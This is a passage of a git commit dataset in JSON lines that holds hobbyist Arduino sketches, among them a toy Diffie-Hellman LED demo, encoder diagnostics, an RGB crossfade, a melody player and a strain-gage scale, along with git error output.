LOW); \n \n alice_public = fme(g, alice_secret, p);\n bob_public = fme(g, bob_secret, p);\n \n if(fme(bob_public,alice_secret,p) == fme(alice_public, bob_secret, p)){\n \/\/ set the GREEN led\n digitalWrite(_greenled, HIGH);\n digitalWrite(_redled, LOW);\n } else {\n \/\/ set the RED led\n digitalWrite(_greenled, LOW);\n digitalWrite(_redled, HIGH); \n }\n}\n\nvoid loop(){}\n\n\nunsigned long long ipow(unsigned long long b, unsigned long long e)\n{\n \/\/ this breaks for values > 32\n unsigned long long result = 1;\n while (e != 0)\n {\n if (e & 1)\n result *= b;\n e >>= 1;\n b *= b;\n }\n return result;\n}\n","old_contents":"#include <msp430.h> \n\nunsigned long long ipow(unsigned long long b, unsigned long long e);\nunsigned long long fme(unsigned long long a, unsigned long long b, unsigned long long c);\n\nunsigned long long p = 23;\nunsigned long long g = 5; \nunsigned long long alice_secret = 67108864;\nunsigned long long alice_public;\nunsigned long long bob_secret = 12582912; \/\/ 24 bit\nunsigned long long bob_public;\n\nvoid setup()\n{\n \n p = (157211*2)+1; g = 5;\n \n Serial.begin(9600); \n delay(100);\n\n P1DIR |= (BIT0 | BIT6); \/\/ Set P1.0 to output direction\n P1OUT = 0;\n \n alice_public = fme(g, alice_secret, p);\n bob_public = fme(g, bob_secret, p);\n \n if(fme(bob_public,alice_secret,p) == fme(alice_public, bob_secret, p)){\n \/\/ set the GREEN led\n P1OUT = BIT6;\n } else {\n \/\/ set the RED led\n P1OUT = BIT0;\n }\n}\n\nvoid loop(){}\n\n\nunsigned long long ipow(unsigned long long b, unsigned long long e)\n{\n \/\/ this breaks for values > 32\n unsigned long long result = 1;\n while (e != 0)\n {\n if (e & 1)\n result *= b;\n e >>= 1;\n b *= b;\n }\n return result;\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"b1bb736f497c6582ff56d169f2fbb384267f6a8d","subject":"Add diagnostic sketch to poll digital pins & see if interrupts trigger encoders","message":"Add diagnostic sketch to poll digital pins & see if interrupts trigger encoders\n","repos":"ISS-Mimic\/Mimic,ISS-Mimic\/Mimic,ISS-Mimic\/Mimic,ISS-Mimic\/Mimic","old_file":"Arduino\/health_test_digital_pins_encoder_Remove01mod\/health_test_digital_pins_encoder_Remove01mod.ino","new_file":"Arduino\/health_test_digital_pins_encoder_Remove01mod\/health_test_digital_pins_encoder_Remove01mod.ino","new_contents":"\/\/ Repeated, yet inconsistent odd\/maddening behavior from encoders has been experienced. Sometimes, all motors behave properly, then suddenly one encoder channel seems to stop working.\n\/\/ The purpose of this skectch is to test pins and interrupts (encoder script) to ensure things are counting as they should.\n\/\/ For the current board, it appears pin 3 doesn't work at all, as it never toggles. It's very odd that it stays low (0), since the encoder script sets it to a pull-up resistor (so it should show \"1\")\n\n\n#include <Encoder.h>\n\n\n\/\/Encoder myEnc_1(0, 1);\nEncoder myEnc_2(2, 12);\nEncoder myEnc_3(4, 5);\nEncoder myEnc_1(6, 7);\n\/\/ skipping 9,10 since used for servos\nEncoder myEnc_5(8, 11);\n\/\/Encoder myEnc_6(12, 13);\n\/\/ library suggests skipping 13 since tied to board LED, but trying it here anyway\nEncoder myEnc_7(14, 15); \/\/AKA analog pins A0, A1\nEncoder myEnc_8(16, 17);\/\/AKA analog pins A2, A3\n\/\/ skipping pins A4,A5 since Motor Shield V2.3 ties these to SCL,SDA\n\nint Count_E1 = 0;\nint Count_E2 = 0;\nint Count_E3 = 0;\n\/\/int Count_E4 = 0;\nint Count_E5 = 0;\n\/\/int Count_E6 = 0;\nint Count_E7 = 0;\nint Count_E8 = 0;\n\nint D0 = 0;\nint D1 = 0;\nint D2 = 0;\nint D3 = 0;\nint D4 = 0;\nint D5 = 0;\nint D6 = 0;\nint D7 = 0;\nint D8 = 0;\n\/\/int D9 =0;\n\/\/int D10=0;\nint D11 = 0;\nint D12=0;\n\/\/int D13=0;\nint D14 = 0;\nint D15 = 0;\nint D16 = 0;\nint D17 = 0;\n \n\nvoid setup() {\n \/\/ Attach a servo to pin #10\n \/\/ servo1.attach(10);\n \/\/ servo2.attach(9);\n \/\/ AFMS.begin(200);\n Serial.begin(115200);\n Serial.setTimeout(50);\n \/\/\n}\n\nvoid loop() {\n Count_E1 = myEnc_1.read();\n Count_E2 = myEnc_2.read();\n Count_E3 = myEnc_3.read();\n\/\/ Count_E4 = myEnc_4.read();\n Count_E5 = myEnc_5.read();\n \/\/ Count_E6 = myEnc_6.read();\n Count_E7 = myEnc_7.read();\n Count_E8 = myEnc_8.read();\n \/\/\n D0 = digitalRead(0);\n D1 = digitalRead(1);\n D2 = digitalRead(2);\n D3 = digitalRead(3);\n D4 = digitalRead(4);\n D5 = digitalRead(5);\n D6 = digitalRead(6);\n D7 = digitalRead(7);\n D8 = digitalRead(8);\n \/\/D9= digitalRead(9);\n \/\/D10= digitalRead(10);\n D11 = digitalRead(11);\n D12= digitalRead(12);\n \/\/D13 = digitalRead(13);\n D14 = digitalRead(14);\n D15 = digitalRead(15);\n D16 = digitalRead(16);\n D17 = digitalRead(17);\n\n\n Serial.print(\"E1: \");\n Serial.print( Count_E1);\n Serial.print(\",E2: \");\n Serial.print( Count_E2);\n Serial.print(\",E3: \");\n Serial.print( Count_E3);\n\/\/ Serial.print(\",E4: \");\n\/\/ Serial.print( Count_E4);\n \/\/\n Serial.print(\"E5: \");\n Serial.print( Count_E5);\n \/\/ Serial.print(\",E6: \");\n \/\/ Serial.print( Count_E6);\n Serial.print(\",E7: \");\n Serial.print(Count_E7);\n Serial.print(\",E8: \");\n Serial.print(Count_E8);\n\n Serial.print(\"; D0:\");\n Serial.print(D0);\n Serial.print(\",D1:\");\n Serial.print(D1);\n Serial.print(\",D2:\");\n Serial.print(D2);\n Serial.print(\",D3:\");\n Serial.print(D3);\n Serial.print(\",D4:\");\n Serial.print(D4);\n\n Serial.print(\"D5:\");\n Serial.print(D5);\n Serial.print(\",D6:\");\n Serial.print(D6);\n Serial.print(\",D7:\");\n Serial.print(D7);\n Serial.print(\",D8:\");\n Serial.print(D8);\n \/\/\n \/\/Serial.print(\"D9:\");\n \/\/ Serial.print( D9);\n \/\/ Serial.print(\",D10:\");\n \/\/ Serial.print( D10);\n Serial.print(\",D11:\");\n Serial.print(D11);\n Serial.print(\",D12: \");\n Serial.print( D12);\n \/\/ Serial.print(\",D13: \");\n \/\/ Serial.println( D13);\n Serial.print(\",D14:\");\n Serial.print(D14);\n Serial.print(\",D15:\");\n Serial.print(D15);\n Serial.print(\",D16:\");\n Serial.print(D16);\n Serial.print(\",D17:\");\n Serial.print(D17);\n Serial.println(\"\");\n delay(10);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/health_test_digital_pins_encoder_Remove01mod\/health_test_digital_pins_encoder_Remove01mod.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2ae97e2812a624d2836b8ec37658777675bc54e0","subject":"Initial commit","message":"Initial commit\n","repos":"austein\/sparklights,austein\/sparklights","old_file":"crossfades.ino","new_file":"crossfades.ino","new_contents":"\/\/ Output\n#define REDPIN A6\n#define GREENPIN A5\n#define BLUEPIN A7\n\n\/\/ Color arrays\nint black[3] = { 0, 0, 0 };\nint white[3] = { 100, 100, 100 };\nint red[3] = { 100, 0, 0 };\nint green[3] = { 0, 100, 0 };\nint blue[3] = { 0, 0, 100 };\nint yellow[3] = { 80, 80, 0 };\nint purple[3] = { 80, 0, 80 };\nint teal[3] = { 0, 80, 80 };\nint dimWhite[3] = { 30, 30, 30 };\n\/\/ etc.\n\nint colors[3][20][3] = {0};\nint activeSlot = 1;\nint altSlot = 0;\nint slotLength[3] = { 6, 6, 6};\nint wait[3] = {10, 10, 10};\n\n\/\/ Set initial color\nint redVal = black[0];\nint grnVal = black[1]; \nint bluVal = black[2];\n\n\/\/int wait = 10; \/\/ 10ms internal crossFade delay; increase for slower fades\nint hold = 0; \/\/ Optional hold when a color is complete, before the next crossFade\nint loopCount = 60; \/\/ How often should DEBUG report?\nint j = 0; \/\/ Loop counter for repeat\nint loops = 0;\n\n\/\/ Initialize color variables\nint prevR = redVal;\nint prevG = grnVal;\nint prevB = bluVal;\n\n\/\/ Set up the LED outputs\nvoid setup()\n{\n pinMode(REDPIN, OUTPUT); \/\/ sets the pins as output\n pinMode(GREENPIN, OUTPUT); \n pinMode(BLUEPIN, OUTPUT); \n \n colors[1][0][0] = 100;\n colors[1][0][1] = 0;\n colors[1][0][2] = 0;\n \n colors[1][1][0] = 100;\n colors[1][1][1] = 100;\n colors[1][1][2] = 0;\n \n colors[1][2][0] = 0;\n colors[1][2][1] = 100;\n colors[1][2][2] = 0;\n \n colors[1][3][0] = 0;\n colors[1][3][1] = 0;\n colors[1][3][2] = 50;\n \n slotLength[1] = 4;\n \n Spark.function(\"c\", colorMod);\n}\n\n\/\/ Main program: list the order of crossfades\nvoid loop()\n{\n for (int i=0; i<slotLength[activeSlot]; i++)\n {\n crossFade(colors[activeSlot][i]);\n }\n}\n\n\/* BELOW THIS LINE IS THE MATH -- YOU SHOULDN'T NEED TO CHANGE THIS FOR THE BASICS\n* \n* The program works like this:\n* Imagine a crossfade that moves the red LED from 0-10, \n* the green from 0-5, and the blue from 10 to 7, in\n* ten steps.\n* We'd want to count the 10 steps and increase or \n* decrease color values in evenly stepped increments.\n* Imagine a + indicates raising a value by 1, and a -\n* equals lowering it. Our 10 step fade would look like:\n* \n* 1 2 3 4 5 6 7 8 9 10\n* R + + + + + + + + + +\n* G + + + + +\n* B - - -\n* \n* The red rises from 0 to 10 in ten steps, the green from \n* 0-5 in 5 steps, and the blue falls from 10 to 7 in three steps.\n* \n* In the real program, the color percentages are converted to \n* 0-255 values, and there are 1020 steps (255*4).\n* \n* To figure out how big a step there should be between one up- or\n* down-tick of one of the LED values, we call calculateStep(), \n* which calculates the absolute gap between the start and end values, \n* and then divides that gap by 1020 to determine the size of the step \n* between adjustments in the value.\n*\/\n\nint calculateStep(int prevValue, int endValue) {\n int step = endValue - prevValue; \/\/ What's the overall gap?\n if (step) { \/\/ If its non-zero, \n step = 1020\/step; \/\/ divide by 1020\n } \n return step;\n}\n\n\/* The next function is calculateVal. When the loop value, i,\n* reaches the step size appropriate for one of the\n* colors, it increases or decreases the value of that color by 1. \n* (R, G, and B are each calculated separately.)\n*\/\n\nint calculateVal(int step, int val, int i) {\n\n if ((step) && i % step == 0) { \/\/ If step is non-zero and its time to change a value,\n if (step > 0) { \/\/ increment the value if step is positive...\n val += 1; \n } \n else if (step < 0) { \/\/ ...or decrement it if step is negative\n val -= 1;\n } \n }\n \/\/ Defensive driving: make sure val stays in the range 0-255\n if (val > 255) {\n val = 255;\n } \n else if (val < 0) {\n val = 0;\n }\n return val;\n}\n\n\/* crossFade() converts the percentage colors to a \n* 0-255 range, then loops 1020 times, checking to see if \n* the value needs to be updated each time, then writing\n* the color values to the correct pins.\n*\/\n\nvoid crossFade(int color[3]) {\n \/\/ Convert to 0-255\n int R = (color[0] * 255) \/ 100;\n int G = (color[1] * 255) \/ 100;\n int B = (color[2] * 255) \/ 100;\n\n int stepR = calculateStep(prevR, R);\n int stepG = calculateStep(prevG, G); \n int stepB = calculateStep(prevB, B);\n\n for (int i = 0; i <= 1020; i++) {\n redVal = calculateVal(stepR, redVal, i);\n grnVal = calculateVal(stepG, grnVal, i);\n bluVal = calculateVal(stepB, bluVal, i);\n\n analogWrite(REDPIN, redVal); \/\/ Write current values to LED pins\n analogWrite(GREENPIN, grnVal); \n analogWrite(BLUEPIN, bluVal); \n\n delay(wait[activeSlot]); \/\/ Pause for 'wait' milliseconds before resuming the loop\n }\n \n \/\/ Update current values for next loop\n prevR = redVal; \n prevG = grnVal; \n prevB = bluVal;\n delay(hold); \/\/ Pause for optional 'wait' milliseconds before resuming the loop\n}\n\nint delayMod(String args)\n{\n FADESPEED = args.toInt();\n return FADESPEED;\n}\n\n\/\/ #runs, slot#, speed, #colors, color1, color2, ...\nint colorMod(String args)\n{\n int sep = args.indexOf(\"|\");\n String start = args.substring(0,sep);\n start.trim();\n \n String starts[4] = {NULL}; \/\/ Increase to support more parameters\n splitArgStringToArray(start, starts);\n \n loops = starts[0].toInt();\n altSlot = activeSlot;\n activeSlot = starts[1].toInt();\n wait[activeSlot] = starts[2].toInt();\n slotLength[activeSlot] = starts[3].toInt();\n \n String cols[20] = {NULL};\n String argend = args.substring(sep+1);\n splitArgStringToArray(argend, cols);\n \n int colpos = 0;\n for (int i = 0; i< slotLength[activeSlot]; i++)\n {\n colors[activeSlot][i][0] = cols[colpos].toInt();\n colpos++;\n colors[activeSlot][i][1] = cols[colpos].toInt();\n colpos++;\n colors[activeSlot][i][2] = cols[colpos].toInt();\n colpos++;\n }\n \n return colpos;\n}\n\nvoid splitArgStringToArray(String arguments, String *target){\n int numArgs = 0;\n int beginIdx = 0;\n int idx = arguments.indexOf(\",\");\n \n while (idx != -1) {\n String arg = arguments.substring(beginIdx, idx);\n arg.trim();\n target[numArgs] = arg;\n \n beginIdx = idx + 1;\n idx = arguments.indexOf(\",\", beginIdx);\n ++numArgs;\n }\n \n \/\/ Single or last parameter\n String lastArg = arguments.substring(beginIdx);\n target[numArgs] = lastArg;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'crossfades.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e30a485124c5e2c4aa83dce6a32f82a16c9f2936","subject":"brake not same","message":"brake not same\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"320c31dff064b1981ff854aa7cbc343736abd187","subject":"\u53c2\u8003\u30b9\u30b1\u30c3\u30c1\u8ffd\u52a0","message":"\u53c2\u8003\u30b9\u30b1\u30c3\u30c1\u8ffd\u52a0\n","repos":"gitoku\/RGB_matrix,gitoku\/RGB_matrix","old_file":"_20141103yazu___1_RGBkore\/_20141103yazu___1_RGB.ino","new_file":"_20141103yazu___1_RGBkore\/_20141103yazu___1_RGB.ino","new_contents":"\n#define NOTE_A1 55\/\/\u30e9\n#define NOTE_AS1 58\n#define NOTE_B1 62\/\/\u30b7\n#define NOTE_C2 65\/\/\u30c9\n#define NOTE_CS2 69\n#define NOTE_D2 73\/\/\u30ec\n#define NOTE_DS2 78\n#define NOTE_E2 82\/\/\u30df\n#define NOTE_F2 87\/\/\u30d5\u30a1\n#define NOTE_FS2 92\n#define NOTE_G2 98\/\/\u30bd\n#define NOTE_GS2 104 \/\/\u534a\u97f3\u4e0a\u3052\n#define NOTE_A2 110\/\/\u30e9\n#define NOTE_AS2 117\n#define NOTE_B2 123\/\/\u30b7\n#define NOTE_C3 131\/\/\u30c9\n#define NOTE_CS3 139\n#define NOTE_D3 147\/\/\u30ec\n#define NOTE_DS3 156\n#define NOTE_E3 165\/\/\u30df\n#define NOTE_F3 175\/\/\u30d5\u30a1\n#define NOTE_FS3 185\n#define NOTE_G3 196\/\/\u30bd\n#define NOTE_GS3 208\n#define NOTE_A3 220\/\/\u30e9\n#define NOTE_AS3 233\n#define NOTE_B3 247\/\/\u30b7\n#define NOTE_C4 262\/\/\u30c9\n#define NOTE_CS4 277\n#define NOTE_D4 294\/\/\u30ec\n#define NOTE_DS4 311\n#define NOTE_E4 330\/\/\u30df\n#define NOTE_F4 349\/\/\u30d5\u30a1\n#define NOTE_FS4 370\n#define NOTE_G4 392\/\/\u30bd\n#define NOTE_GS4 415\n#define NOTE_A4 440\/\/\u30e9\n#define NOTE_AS4 466\n#define NOTE_B4 494\/\/\u30b7\n#define NOTE_C5 523\/\/\u30c9\n#define NOTE_CS5 554\n#define NOTE_D5 587\/\/\u30ec\n#define NOTE_DS5 622\n#define NOTE_E5 659\/\/\u30df\n#define NOTE_F5 698\/\/\u30d5\u30a1\n#define NOTE_FS5 740\n#define NOTE_G5 784\/\/\u30bd\n#define NOTE_GS5 831\n#define NOTE_A5 880\/\/\u30e9\n#define NOTE_AS5 932\n#define NOTE_B5 988\/\/\u30b7\n#define NOTE_C6 1047\/\/\u30c9\n#define NOTE_CS6 1109\n#define NOTE_D6 1175\n#define NOTE_DS6 1245\n#define NOTE_E6 1319\n#define NOTE_F6 1397\n#define NOTE_FS6 1480\n#define NOTE_G6 1568\n#define NOTE_GS6 1661\n#define NOTE_A6 1760\n#define NOTE_AS6 1865\n#define NOTE_B6 1976\n#define NOTE_C7 2093\n#define NOTE_CS7 2217\n#define NOTE_D7 2349\n#define NOTE_DS7 2489\n#define NOTE_E7 2637\n#define NOTE_F7 2794\n#define NOTE_FS7 2960\n#define NOTE_G7 3136\n#define NOTE_GS7 3322\n#define NOTE_A7 3520\n#define NOTE_AS7 3729\n#define NOTE_B7 3951\n#define NOTE_C8 4186\n#define NOTE_CS8 4435\n#define NOTE_D8 4699\n#define NOTE_DS8 4978\n\n\n\n\n\n\n\n\n\/\/ \u56db\u5b63\u306e\u6b4c\nint melody1[] = {\nNOTE_E4,NOTE_E4,NOTE_D4,NOTE_C4,NOTE_D4,NOTE_C4,NOTE_B3,NOTE_A3,NOTE_A3,NOTE_A3,NOTE_F4,NOTE_F4,NOTE_E4,NOTE_D4,NOTE_C4,NOTE_D4,NOTE_F4,\nNOTE_E4,NOTE_F4,NOTE_F4,NOTE_E4,NOTE_D4,NOTE_D4,NOTE_F4,NOTE_E4,NOTE_E4,NOTE_C4,NOTE_A3,NOTE_B3,NOTE_E4,NOTE_D4,NOTE_C4,NOTE_B3,NOTE_C4,\nNOTE_A3,NOTE_E4,NOTE_A4,NOTE_C5,NOTE_B4,NOTE_A4,NOTE_B4,NOTE_C5,NOTE_D5,NOTE_B4,NOTE_C5,NOTE_D5,NOTE_E5,NOTE_E5,NOTE_E5,NOTE_D5,NOTE_C5,NOTE_D5,NOTE_C5,NOTE_B4,\nNOTE_A4,NOTE_A4,NOTE_A4,NOTE_F5,NOTE_F5,NOTE_E5,NOTE_D5,NOTE_C5,NOTE_D5,NOTE_F5,NOTE_E5,NOTE_F5,NOTE_F5,NOTE_E5,NOTE_D5,NOTE_D5,NOTE_F5,\nNOTE_E5,NOTE_E5,NOTE_C5,NOTE_A4,NOTE_C5,NOTE_B4,NOTE_E5,NOTE_D5,NOTE_C5,NOTE_B4,NOTE_C5,NOTE_A4\n \n \n} ;\n\/\/ note durations: 4 = quarter note, 8 = eighth note, etc.:\nint noteDurations1[] = {\n4,8,8,16,16,16,16,4,4,2,4,8,8,16,16,16,16,\n1,4,8,8,4,8,8,4,8,8,2,4,4,16,16,16,16,\n2,16,16,16,16,16,16,16,16,16,16,16,1,4,8,8,16,16,16,16,\n4,4,2,4,8,8,16,16,16,16,1,4,8,8,4,8,8,\n4,8,8,4,4,4,4,16,16,16,16,1\n };\n\n\/\/ \u30cf\u30a6\u30eb\u306e\u30e1\u30a4\u30f3\u30c6\u30fc\u30de \nint melody2[] = {\n NOTE_AS4,NOTE_C5,NOTE_AS4,NOTE_C5,NOTE_AS4,NOTE_C5,NOTE_A4,NOTE_AS4,NOTE_A4,NOTE_AS4,NOTE_A4,NOTE_AS4,NOTE_G4,NOTE_A4,NOTE_G4,NOTE_A4,NOTE_G4,NOTE_A4,NOTE_FS4,NOTE_E4,NOTE_DS4,\n NOTE_D3,NOTE_A3,NOTE_D4,NOTE_A4,\n NOTE_D4,NOTE_G4,NOTE_AS4,NOTE_D5,NOTE_D5,NOTE_C5,NOTE_AS4,NOTE_A4,NOTE_AS4,\n NOTE_G4,NOTE_AS4,NOTE_D5,NOTE_G5,NOTE_G5,NOTE_G5,NOTE_A5,NOTE_F5,NOTE_DS5,NOTE_F5,\n NOTE_A4,NOTE_D5,NOTE_F5,NOTE_A5,NOTE_G5,NOTE_G5,NOTE_F5,NOTE_E5,NOTE_DS5,NOTE_E5,NOTE_G5,NOTE_F5,\n NOTE_E5,NOTE_D5,NOTE_CS5,NOTE_D5,NOTE_D5,NOTE_C5,NOTE_D5,NOTE_C5,NOTE_AS4,NOTE_A4,NOTE_B4,NOTE_CS5,NOTE_D5\n\n} ;\nint noteDurations2[] = {\n 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,2,\n 8,8,8,2,\n 4,4,4,2,4,4,4,4,1,\n 4,4,4,2,4,4,4,8,8,1,\n 4,4,4,2,3,8,8,8,8,8,2,4,\n 8,8,8,8,4,8,8,8,8,4,8,4,1\n };\n\n\n\nvoid setup() {\n pinMode(8, OUTPUT); \n pinMode(9, INPUT_PULLUP); \n pinMode(5, OUTPUT);\/\/\u30ab\u30bd\u30fc\u30c9\u4e0b\npinMode(6, OUTPUT);\/\/\u30ab\u30bd\u30fc\u30c9\u4e2d\npinMode(7, OUTPUT);\/\/\u30ab\u30bd\u30fc\u30c9\u4e0a\npinMode(0, OUTPUT);\/\/\u30a2\u30ce\u30fc\u30c9\uff11\npinMode(1, OUTPUT);\/\/\u30a2\u30ce\u30fc\u30c9\uff12\npinMode(2, OUTPUT);\/\/\u30a2\u30ce\u30fc\u30c9\uff13\n pinMode(3, OUTPUT);\/\/\u30a2\u30ce\u30fc\u30c9\uff14\npinMode(4, OUTPUT);\/\/\u30a2\u30ce\u30fc\u30c9\uff15\npinMode(10, OUTPUT);\/\/\u30a2\u30ce\u30fc\u30c9\uff16\npinMode(11, OUTPUT);\/\/\u30a2\u30ce\u30fc\u30c9\uff17\npinMode(12, OUTPUT);\/\/\u30a2\u30ce\u30fc\u30c9\uff18\npinMode(13, OUTPUT);\/\/\u30a2\u30ce\u30fc\u30c9\uff19\n }\n \nvoid loop() {\n digitalWrite(0, LOW);\n digitalWrite(1, LOW);\n digitalWrite(2, LOW);\n digitalWrite(3, LOW);\n digitalWrite(4, LOW);\n digitalWrite(10, LOW);\n digitalWrite(11, LOW);\n digitalWrite(12, LOW);\n digitalWrite(13, LOW);\n \nstart:\ndelay(500);\n int buttonState=1;\n \nstart1:\n buttonState=digitalRead(9); \n if (buttonState ==LOW ) {goto music1;}\n else{\n analogReference(INTERNAL);\n int x=analogRead(5);\n if(x<260){tone(8, 100,100);}\n else if(x<280){tone(8, 600,100);}\n\n else if(x<300){tone(8, 1100,100);}\n \n else if(x<320){tone(8, 1600,100);}\n\n else if(x<340){tone(8, 2100,100);}\n \n else if(x<360){tone(8, 2600,100);}\n \n else if(x<380){tone(8, 3100,100);}\n \n else if(x<400){tone(8, 3600,100);}\n \n else if(x<420){tone(8, 4100,100);}\n \n else if(x<440){tone(8, 4600,100);}\n \n else{tone(8, 5100,100);}\n \n delay(1000);\n\n }\n goto start1; \n \n \nmusic1:\ndelay(500);\n buttonState=1;\n for (int thisNote = 0; thisNote < 82; thisNote++) { \n \n buttonState=digitalRead(9); \n if (buttonState ==LOW ) {goto music2;}\n \n if(thisNote == 0){\n digitalWrite(5,LOW);\n digitalWrite(6,LOW);\n digitalWrite(7,LOW);\n }\n else if (thisNote==5){\n digitalWrite(5,HIGH);\n digitalWrite(6,LOW);\n digitalWrite(7,LOW);\n }\n else if (thisNote==10){\n digitalWrite(5,LOW);\n digitalWrite(6,HIGH);\n digitalWrite(7,LOW);\n }\n else if (thisNote==15){\n digitalWrite(5,LOW);\n digitalWrite(6,LOW);\n digitalWrite(7,HIGH);\n } \n else if (thisNote==20){\n digitalWrite(5,HIGH);\n digitalWrite(6,LOW);\n digitalWrite(7,LOW);\n }\n else if (thisNote==25){\n digitalWrite(5,LOW);\n digitalWrite(6,HIGH);\n digitalWrite(7,LOW);\n }\n else if (thisNote==30){\n digitalWrite(5,LOW);\n digitalWrite(6,LOW);\n digitalWrite(7,HIGH);\n }\n else if (thisNote==35){\n digitalWrite(5,HIGH);\n digitalWrite(6,LOW);\n digitalWrite(7,HIGH);\n } \n else if (thisNote==40){\n digitalWrite(5,HIGH);\n digitalWrite(6,HIGH);\n digitalWrite(7,LOW);\n }\n else if (thisNote==45){\n digitalWrite(5,LOW);\n digitalWrite(6,HIGH);\n digitalWrite(7,HIGH);\n }\n else if (thisNote==50){\n digitalWrite(5,HIGH);\n digitalWrite(6,LOW);\n digitalWrite(7,HIGH);\n }\n else if (thisNote==55){\n digitalWrite(5,HIGH);\n digitalWrite(6,HIGH);\n digitalWrite(7,LOW);\n } \n else if (thisNote==60){\n digitalWrite(5,LOW);\n digitalWrite(6,HIGH);\n digitalWrite(7,HIGH);\n }\n else if (thisNote==65){\n digitalWrite(5,HIGH);\n digitalWrite(6,LOW);\n digitalWrite(7,HIGH);\n }\n else if (thisNote==70){\n digitalWrite(5,HIGH);\n digitalWrite(6,HIGH);\n digitalWrite(7,LOW);\n }\n else if (thisNote==75){\n digitalWrite(5,LOW);\n digitalWrite(6,HIGH);\n digitalWrite(7,HIGH);\n } \n else if (thisNote==80){\n digitalWrite(5,HIGH);\n digitalWrite(6,HIGH);\n digitalWrite(7,HIGH);\n } \n\n int duration = 1000\/noteDurations1[thisNote]; \/\/\u767a\u97f3\u6642\u9593\u3092\u5b9a\u3081\u308b\n tone(8, melody1[thisNote],duration); \/\/\u767a\u97f3\n \n int pause = duration * 1.5; \/\/\u97f3\u7b26\u306e\u9593\u3067\u6642\u9593\u3092\u3042\u3051\u308b\n \n delay(pause);\n\n }\n goto music1;\n \nmusic2:\n delay(500);\n buttonState=1;\n digitalWrite(0, LOW);\n digitalWrite(1, LOW);\n digitalWrite(2, LOW);\n digitalWrite(3, LOW);\n digitalWrite(4, LOW);\n digitalWrite(10, LOW);\n digitalWrite(11, LOW);\n digitalWrite(12, LOW);\n digitalWrite(13, LOW);\n \n for (int thisNote = 0; thisNote < 68; thisNote++) {\n \n buttonState=digitalRead(9); \n if (buttonState ==LOW ) {goto start;}\n digitalWrite(5,HIGH);\n digitalWrite(6,HIGH);\n digitalWrite(7,HIGH);\n int duration = 1000\/noteDurations2[thisNote];\/\/\u767a\u97f3\u6642\u9593\u3092\u5b9a\u3081\u308b\n \n \n \n \n tone(8, melody2[thisNote],duration); \/\/\u767a\u97f3 \n digitalWrite(5,LOW);\n digitalWrite(6,LOW);\n digitalWrite(7,LOW);\n int pause = duration * 1.5; \/\/\u97f3\u7b26\u306e\u9593\u3067\u6642\u9593\u3092\u3042\u3051\u308b\n \n \n delay(pause);\n \n } \n goto music2; \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_20141103yazu___1_RGBkore\/_20141103yazu___1_RGB.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"58c519ad50531ee29e23269673e10e55d9356598","subject":" On branch master Your branch is up-to-date with 'origin\/master'.","message":" On branch master\n Your branch is up-to-date with 'origin\/master'.\n\n Changes to be committed:\n\tmodified: display\/live_market_led_display\/led_market_display\/led_market_display.ino\n\nGot it working with 2 strips, decreased lag time to around 1\/2 seconds\n","repos":"WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015","old_file":"display\/live_market_led_display\/led_market_display\/led_market_display.ino","new_file":"display\/live_market_led_display\/led_market_display\/led_market_display.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/WestwoodRobotics\/BEST-2015.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"32482f59418fe39a0e130618268092efdfa11581","subject":"Add Arduino code","message":"Add Arduino code\n","repos":"gustavohb\/strain-gage-based-scale-system,gustavohb\/strain-gage-based-scale-system","old_file":"Arduino\/weight_scale_code\/weight_scale_code.ino","new_file":"Arduino\/weight_scale_code\/weight_scale_code.ino","new_contents":"\/*\n Strain Gage-Based Scale\n\n Reads repeatedly from an analog input, printing it to the Adafruit SSD1306\n OLED graphic display and the computer.\n \n The circuit:\n * Analog sensor attached to analog input 0\n \n Created 1 August 2015\n By Gustavo H. Barrionuevo <gustavo@barrionuevo.me>\n\n This code is in the public domain.\n\n*\/\n#include <SPI.h>\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n\n#define OLED_MOSI 9\n#define OLED_CLK 10\n#define OLED_DC 11\n#define OLED_RESET 12\n#define OLED_CS 13\nAdafruit_SSD1306 display(OLED_MOSI, OLED_CLK, OLED_DC, OLED_RESET, OLED_CS);\n\n\n#if (SSD1306_LCDHEIGHT != 64)\n#error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n\nfloat gain_const = 1;\nint adc_zero_const = 0;\nint windowSize = 2;\nint newReading = 0;\nint average = 0; \/\/ the current average\nint inputPin = A0;\nint diff;\nint thres1 = 4;\nint thres2 = 8;\nfloat weight = 0;\nfloat standard_deviation = 0;\nvoid setup() {\n analogReference(EXTERNAL);\n \/\/ by default, we'll generate the high voltage from the 3.3v line internally! (neat!)\n display.begin(SSD1306_SWITCHCAPVCC);\n display.clearDisplay(); \/\/Clear display\n display.setTextSize(1);\n display.display();\n display.setTextColor(WHITE); \/\/Set text color to\n Serial.begin(115200); \/\/ opens serial port, sets data rate to 115200 bps\n average = analogRead(inputPin);\n}\nvoid loop() {\n newReading = analogRead(inputPin);\n diff = abs(newReading - average);\n switch (windowSize) {\n case 2:\n if (diff < thres1) {\n windowSize = 4;\n }\n break;\n case 4:\n if (diff < thres2) {\n windowSize = 8;\n } else if (diff >= thres1) {\n windowSize = 2;\n average = newReading;\n }\n break;\n case 8:\n if (diff >= thres2) {\n windowSize = 4;\n average = newReading;\n }\n break;\n }\n\n average = (newReading + (average * windowSize) - average) \/ 